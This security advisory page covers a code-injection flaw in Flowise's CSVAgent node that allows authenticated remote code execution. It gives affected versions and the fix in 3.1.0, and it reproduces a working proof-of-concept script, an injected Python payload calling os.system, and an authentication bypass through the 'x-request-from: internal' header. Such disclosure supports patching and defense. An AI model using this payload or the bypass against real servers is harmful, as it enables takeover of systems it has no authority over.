### Summary The CSVAgent allows providing a custom Pandas CSV read code. Due to lack of sanitization, an attacker can provide the following payload: `DataFrame({'foo': ['bar!']});import os;os.system('whoami')` that will get interpolated and executed by the server. ### Details The code in question...
Full CISO analysis pending enrichment.
Affected Systems
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| flowise | npm | <= 3.0.13 | 3.1.0 |
| flowise-components | npm | <= 3.0.13 | 3.1.0 |
Severity & Risk
Recommended Action
Patch available
Update flowise to version 3.1.0
Update flowise-components to version 3.1.0
Compliance Impact
Compliance analysis pending. Sign in for full compliance mapping when available.
Frequently Asked Questions
What is GHSA-9wc7-mj3f-74xv?
Flowise: Code Injection in CSVAgent leads to Authenticated RCE
Is GHSA-9wc7-mj3f-74xv actively exploited?
No confirmed active exploitation of GHSA-9wc7-mj3f-74xv has been reported, but organizations should still patch proactively.
How to fix GHSA-9wc7-mj3f-74xv?
Update to patched version: flowise 3.1.0, flowise-components 3.1.0.
What is the CVSS score for GHSA-9wc7-mj3f-74xv?
No CVSS score has been assigned yet.
Technical Details
NVD Description
### Summary The CSVAgent allows providing a custom Pandas CSV read code. Due to lack of sanitization, an attacker can provide the following payload: `DataFrame({'foo': ['bar!']});import os;os.system('whoami')` that will get interpolated and executed by the server. ### Details The code in question that introduces the issue is in [CSVAgent.ts](https://github.com/FlowiseAI/Flowise/blob/78674897270d58a7086c6c7ccefcc44a5fe9fbf6/packages/components/nodes/agents/CSVAgent/CSVAgent.ts#L157]). `customReadCSVFunc` is user-controlled and gets interpolated directly without sanitization into the `code` variable which gets executed by `pyodide` one line later in: `dataframeColDict = await pyodide.runPythonAsync(code)`. An authenticated attacker can issue the following chain of requests: 1. Create a new chat flow by sending a `POST` request to `/api/v1/chatflows`. This will return the `chatflowId` in the response. 2. Send a `POST` request to `/api/v1/prediction/[CHATFLOWID]` to trigger the execution of the chatflow. NOTE: the chatflow can contain only this node in order for the exploit to work. 3. Optionally: send a `DELETE` request to `/api/v1/chatflows` to cleanup and delete the chat flow. Since `/chatflows` is not whitelisted [here](https://github.com/FlowiseAI/Flowise/blob/78674897270d58a7086c6c7ccefcc44a5fe9fbf6/packages/server/src/utils/constants.ts#L1), this mandates the user to be authenticated. But, if `FLOWISE_USERNAME` and `FLOWISE_PQSSWORD` aren't set, it's sufficient to provide the `"x-request-from": "internal"` header to bypass authentication. ### PoC Here's the PoC code: ``` const PORT = 3000; const FLOWISE_HOST_URL = `http://127.0.0.1:${PORT}`; const PREDICTION_URL = '/api/v1/prediction'; const CHATFLOWS_URL = '/api/v1/chatflows'; const flowData = JSON.parse("{\"nodes\":[{\"id\":\"csvAgent_0\",\"position\":{\"x\":681,\"y\":212},\"type\":\"customNode\",\"data\":{\"label\":\"CSV Agent\",\"name\":\"csvAgent\",\"version\":3,\"type\":\"AgentExecutor\",\"category\":\"Agents\",\"icon\":\"/home/raul-snyk/research/ai/Flowise/packages/server/node_modules/flowise-components/dist/nodes/agents/CSVAgent/CSVagent.svg\",\"description\":\"Agent used to answer queries on CSV data\",\"baseClasses\":[\"AgentExecutor\",\"BaseChain\",\"Runnable\"],\"inputs\":{\"csvFile\":\"\",\"model\":\"{{openAI_0.data.instance}}\",\"systemMessagePrompt\":\"\",\"inputModeration\":\"\",\"customReadCSV\":\"DataFrame({'foo': ['bar!']});import os;os.system('whoami');\"},\"filePath\":\"/home/raul-snyk/research/ai/Flowise/packages/server/node_modules/flowise-components/dist/nodes/agents/CSVAgent/CSVAgent.js\",\"inputAnchors\":[{\"label\":\"Language Model\",\"name\":\"model\",\"type\":\"BaseLanguageModel\",\"id\":\"csvAgent_0-input-model-BaseLanguageModel\"},{\"label\":\"Input Moderation\",\"description\":\"Detect text that could generate harmful output and prevent it from being sent to the language model\",\"name\":\"inputModeration\",\"type\":\"Moderation\",\"optional\":true,\"list\":true,\"id\":\"csvAgent_0-input-inputModeration-Moderation\"}],\"inputParams\":[{\"label\":\"Csv File\",\"name\":\"csvFile\",\"type\":\"file\",\"fileType\":\".csv\",\"id\":\"csvAgent_0-input-csvFile-file\"},{\"label\":\"System Message\",\"name\":\"systemMessagePrompt\",\"type\":\"string\",\"rows\":4,\"additionalParams\":true,\"optional\":true,\"placeholder\":\"I want you to act as a document that I am having a conversation with. Your name is \\\"AI Assistant\\\". You will provide me with answers from the given info. If the answer is not included, say exactly \\\"Hmm, I am not sure.\\\" and stop after that. Refuse to answer any question not about the info. Never break character.\",\"id\":\"csvAgent_0-input-systemMessagePrompt-string\"},{\"label\":\"Custom Pandas Read_CSV Code\",\"description\":\"Custom Pandas <a target=\\\"_blank\\\" href=\\\"https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.read_csv.html\\\">read_csv</a> function. Takes in an input: \\\"csv_data\\\"\",\"name\":\"customReadCSV\",\"default\":\"read_csv(csv_data)\",\"type\":\"code\",\"optional\":true,\"additionalParams\":true,\"id\":\"csvAgent_0-input-customReadCSV-code\"}],\"outputs\":{},\"outputAnchors\":[{\"id\":\"csvAgent_0-output-csvAgent-AgentExecutor|BaseChain|Runnable\",\"name\":\"csvAgent\",\"label\":\"AgentExecutor\",\"description\":\"Agent used to answer queries on CSV data\",\"type\":\"AgentExecutor | BaseChain | Runnable\"}],\"id\":\"csvAgent_0\",\"selected\":false},\"width\":300,\"height\":464,\"selected\":true,\"dragging\":false,\"positionAbsolute\":{\"x\":681,\"y\":212}},{\"id\":\"openAI_0\",\"position\":{\"x\":238.83389711655053,\"y\":233.09962591816395},\"type\":\"customNode\",\"data\":{\"loadMethods\":{},\"label\":\"OpenAI\",\"name\":\"openAI\",\"version\":4,\"type\":\"OpenAI\",\"icon\":\"/home/raul-snyk/research/ai/Flowise/packages/server/node_modules/flowise-components/dist/nodes/llms/OpenAI/openai.svg\",\"category\":\"LLMs\",\"description\":\"Wrapper around OpenAI large language models\",\"baseClasses\":[\"OpenAI\",\"BaseLLM\",\"BaseLanguageModel\",\"Runnable\"],\"credential\":\"\",\"inputs\":{\"cache\":\"\",\"modelName\":\"gpt-3.5-turbo-instruct\",\"temperature\":0.7,\"maxTokens\":\"\",\"topP\":\"\",\"bestOf\":\"\",\"frequencyPenalty\":\"\",\"presencePenalty\":\"\",\"batchSize\":\"\",\"timeout\":\"\",\"basepath\":\"\",\"baseOptions\":\"\"},\"filePath\":\"/home/raul-snyk/research/ai/Flowise/packages/server/node_modules/flowise-components/dist/nodes/llms/OpenAI/OpenAI.js\",\"inputAnchors\":[{\"label\":\"Cache\",\"name\":\"cache\",\"type\":\"BaseCache\",\"optional\":true,\"id\":\"openAI_0-input-cache-BaseCache\"}],\"inputParams\":[{\"label\":\"Connect Credential\",\"name\":\"credential\",\"type\":\"credential\",\"credentialNames\":[\"openAIApi\"],\"id\":\"openAI_0-input-credential-credential\"},{\"label\":\"Model Name\",\"name\":\"modelName\",\"type\":\"asyncOptions\",\"loadMethod\":\"listModels\",\"default\":\"gpt-3.5-turbo-instruct\",\"id\":\"openAI_0-input-modelName-asyncOptions\"},{\"label\":\"Temperature\",\"name\":\"temperature\",\"type\":\"number\",\"step\":0.1,\"default\":0.7,\"optional\":true,\"id\":\"openAI_0-input-temperature-number\"},{\"label\":\"Max Tokens\",\"name\":\"maxTokens\",\"type\":\"number\",\"step\":1,\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-maxTokens-number\"},{\"label\":\"Top Probability\",\"name\":\"topP\",\"type\":\"number\",\"step\":0.1,\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-topP-number\"},{\"label\":\"Best Of\",\"name\":\"bestOf\",\"type\":\"number\",\"step\":1,\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-bestOf-number\"},{\"label\":\"Frequency Penalty\",\"name\":\"frequencyPenalty\",\"type\":\"number\",\"step\":0.1,\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-frequencyPenalty-number\"},{\"label\":\"Presence Penalty\",\"name\":\"presencePenalty\",\"type\":\"number\",\"step\":0.1,\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-presencePenalty-number\"},{\"label\":\"Batch Size\",\"name\":\"batchSize\",\"type\":\"number\",\"step\":1,\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-batchSize-number\"},{\"label\":\"Timeout\",\"name\":\"timeout\",\"type\":\"number\",\"step\":1,\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-timeout-number\"},{\"label\":\"BasePath\",\"name\":\"basepath\",\"type\":\"string\",\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-basepath-string\"},{\"label\":\"BaseOptions\",\"name\":\"baseOptions\",\"type\":\"json\",\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-baseOptions-json\"}],\"outputs\":{},\"outputAnchors\":[{\"id\":\"openAI_0-output-openAI-OpenAI|BaseLLM|BaseLanguageModel|Runnable\",\"name\":\"openAI\",\"label\":\"OpenAI\",\"description\":\"Wrapper around OpenAI large language models\",\"type\":\"OpenAI | BaseLLM | BaseLanguageModel | Runnable\"}],\"id\":\"openAI_0\",\"selected\":false},\"width\":300,\"height\":574,\"selected\":false,\"positionAbsolute\":{\"x\":238.83389711655053,\"y\":233.09962591816395},\"dragging\":false}],\"edges\":[{\"source\":\"openAI_0\",\"sourceHandle\":\"openAI_0-output-openAI-OpenAI|BaseLLM|BaseLanguageModel|Runnable\",\"target\":\"csvAgent_0\",\"targetHandle\":\"csvAgent_0-input-model-BaseLanguageModel\",\"type\":\"buttonedge\",\"id\":\"openAI_0-openAI_0-output-openAI-OpenAI|BaseLLM|BaseLanguageModel|Runnable-csvAgent_0-csvAgent_0-input-model-BaseLanguageModel\"}],\"viewport\":{\"x\":73.92828909845196,\"y\":-4.475777844396191,\"zoom\":0.7371346086455504}}"); const payload = {"name":"CSV PWN","deployed":false,"isPublic":false,"flowData":JSON.stringify(flowData),"type":"CHATFLOW"}; // Create chatflow. let res = await fetch(`${FLOWISE_HOST_URL}${CHATFLOWS_URL}`, { method: "POST", headers: { "Content-Type": "application/json", "Authorization": "Bearer <your-api-key>" //Alternative: "x-request-from": "internal" }, body: JSON.stringify(payload) }); let resJson = await res.json(); let chatflowId = resJson?.id; // Trigger vuln. await fetch(`${FLOWISE_HOST_URL}${PREDICTION_URL}/${chatflowId}`, { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({"question": "whoami?"}) }); // Cleanup. await fetch(`${FLOWISE_HOST_URL}${CHATFLOWS_URL}/${chatflowId}`, { method: "DELETE", headers: { "Content-Type": "application/json", "Authorization": "Bearer <your-api-key>" //Alternative: "x-request-from": "internal" } }); ``` ### Impact This results in Remote Code Execution (RCE) and can allow an attacker to compromise the underlying server.
References
Timeline
Related Vulnerabilities
CVE-2026-40933 10.0 Analysis pending
Same package: flowise CVE-2025-59528 10.0 Flowise: Unauthenticated RCE via MCP config injection
Same package: flowise CVE-2025-61913 9.9 Flowise: path traversal in file tools leads to RCE
Same package: flowise CVE-2026-30824 9.8 Flowise: auth bypass exposes NVIDIA NIM container endpoints
Same package: flowise CVE-2026-30821 9.8 flowise: Arbitrary File Upload enables RCE
Same package: flowise
AI Threat Alert